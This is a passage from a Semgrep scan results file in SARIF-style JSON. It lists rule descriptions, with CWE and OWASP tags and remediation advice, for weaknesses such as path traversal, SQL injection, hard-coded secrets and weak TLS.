function."},"helpUri":"https://semgrep.dev/r/go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","id":"go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","name":"go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`."},"help":{"markdown":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","id":"swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","name":"swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","id":"terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","name":"terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.djangoorm-django.djangoorm-django)\n - [https://docs.djangoproject.com/en/5.0/topics/db/sql/](https://docs.djangoproject.com/en/5.0/topics/db/sql/)\n - [https://docs.djangoproject.com/en/5.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/5.0/topics/security/#sql-injection-protection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.djangoorm-django.djangoorm-django","id":"python.django.db.djangoorm-django.djangoorm-django","name":"python.django.db.djangoorm-django.djangoorm-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.djangoorm-django.djangoorm-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`."},"help":{"markdown":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","id":"terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","name":"terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","id":"python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","name":"python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","id":"terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","name":"terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","id":"javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","name":"javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","id":"javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","name":"javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mongodb.mongo-empty-password.mongo-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mongodb.mongo-empty-password.mongo-empty-password","id":"go.secrets.mongodb.mongo-empty-password.mongo-empty-password","name":"go.secrets.mongodb.mongo-empty-password.mongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mongodb.mongo-empty-password.mongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"help":{"markdown":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.object-deserialization.object-deserialization)\n - [https://www.owasp.org/index.php/Deserialization_of_untrusted_data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data)\n - [https://www.oracle.com/java/technologies/javase/seccodeguide.html#8](https://www.oracle.com/java/technologies/javase/seccodeguide.html#8)\n","text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.object-deserialization.object-deserialization","id":"java.lang.security.audit.object-deserialization.object-deserialization","name":"java.lang.security.audit.object-deserialization.object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.object-deserialization.object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","id":"terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","name":"terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","id":"java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","name":"java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","HIGH CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'."},"help":{"markdown":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.lang.security.ifs-tampering.ifs-tampering)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'."},"helpUri":"https://semgrep.dev/r/bash.lang.security.ifs-tampering.ifs-tampering","id":"bash.lang.security.ifs-tampering.ifs-tampering","name":"bash.lang.security.ifs-tampering.ifs-tampering","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.lang.security.ifs-tampering.ifs-tampering"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code."},"help":{"markdown":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq)\n - [https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq)\n","text":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","id":"python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","name":"python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","id":"ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","name":"ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead."},"help":{"markdown":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","id":"java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","name":"java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or 